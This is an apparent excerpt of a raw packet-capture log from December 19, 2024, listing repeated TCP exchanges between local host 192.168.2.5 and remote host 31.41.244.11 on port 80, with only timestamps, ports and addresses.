                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.303777933 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.303858042 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.304722071 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.304830074 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.304842949 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.305128098 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.305733919 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.305779934 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.305861950 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.305907965 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.306790113 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.306853056 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.306906939 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.306948900 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308043003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308099031 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308257103 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308665037 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308835030 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308886051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.308960915 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.309012890 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.309890032 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.309935093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.309995890 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.310049057 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.310919046 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.310966969 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.311126947 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.311178923 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.311985970 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.312062025 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.312092066 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.312134981 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.312999964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.313086033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.313134909 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.313183069 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.314039946 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.314095020 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.314166069 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.314209938 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.315082073 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.315130949 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.315198898 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.315239906 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.316099882 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.316153049 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.316229105 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.316274881 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.317157984 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.317200899 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.317297935 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.317353010 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.318167925 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.318216085 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.318308115 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.318366051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.319215059 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.319262028 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.319324970 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.319402933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.320275068 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.320332050 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.320368052 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.320404053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.321281910 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.321331024 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.321420908 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.321468115 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.322386026 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.322432995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.322462082 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.322540045 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.323368073 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.323498964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.323550940 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462156057 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462224007 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462327003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462383986 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462662935 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462717056 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462776899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.462878942 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.463653088 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.463706017 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.463782072 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.463831902 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.464675903 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.464726925 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.464791059 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.464845896 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.465714931 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.465868950 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.465924025 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.466768026 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.466825008 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.466890097 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.466937065 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.467813969 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.467859030 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.467994928 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.468044996 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.468830109 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.468898058 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.468960047 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.469002008 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.469861031 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.469908953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.469985962 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.470033884 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.470901012 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.470952034 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.471024036 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.471082926 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.471932888 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.471982002 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.472074032 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.472121000 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.473067045 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.473124027 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.473145008 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.473196983 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.474009037 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.474133968 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.474148989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.474198103 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.475037098 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.475089073 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.475172043 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.475219011 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.476130009 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.476216078 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.476244926 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.476300955 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.477139950 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.477199078 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.477272987 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.477418900 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.478169918 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.478220940 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.478296041 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.478342056 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.479223013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.479271889 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.479342937 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.479393005 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.480243921 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.480298996 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.480370998 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.480422974 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.481297016 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.481352091 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.481400967 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.481458902 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.482320070 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.482371092 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.482465982 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.482513905 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.483412981 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.483469009 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.483498096 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.483549118 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.484371901 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.484427929 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.484503984 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.484550953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.485419989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.485487938 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.485572100 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.485619068 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.486459970 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.486515045 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.486577034 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.486632109 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.487489939 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.487539053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.487613916 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.487659931 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.488521099 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.488568068 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.488662004 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.488708973 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.489547014 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.489595890 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.489687920 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.489737034 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.490602970 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.490712881 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.490731001 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.490780115 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.491626978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.491678953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.491744041 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.491791964 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.492666960 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.492729902 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.492786884 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.492832899 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.493772030 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.493824005 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.493835926 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.493880987 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.494730949 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.494779110 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.494862080 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.494913101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.495769978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.495819092 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.495902061 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.495946884 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.496809006 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.496855974 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.496931076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.496977091 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.497837067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.497919083 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.497997999 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.498047113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.498877048 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.498925924 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.499000072 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.499044895 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.499914885 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.499994040 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.500049114 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.500102997 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.500946999 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.501068115 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.501121998 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.501163960 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.502012014 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.502067089 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.502139091 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.502181053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.503032923 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.503082037 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.503174067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.503220081 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.504127979 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.504178047 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.504205942 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.504259109 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.505115032 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.505167961 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.505223036 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.505278111 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.506189108 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.506292105 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.506326914 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.506326914 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.507185936 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.507232904 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.507324934 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.507369995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.508228064 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.508281946 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.508384943 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.508429050 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.509279966 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.509324074 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.509371996 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.509426117 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.510288954 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.510337114 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.510402918 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.510533094 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.511338949 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.511389017 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.511456013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:26.511528015 CET4983480192.168.2.531.41.244.11
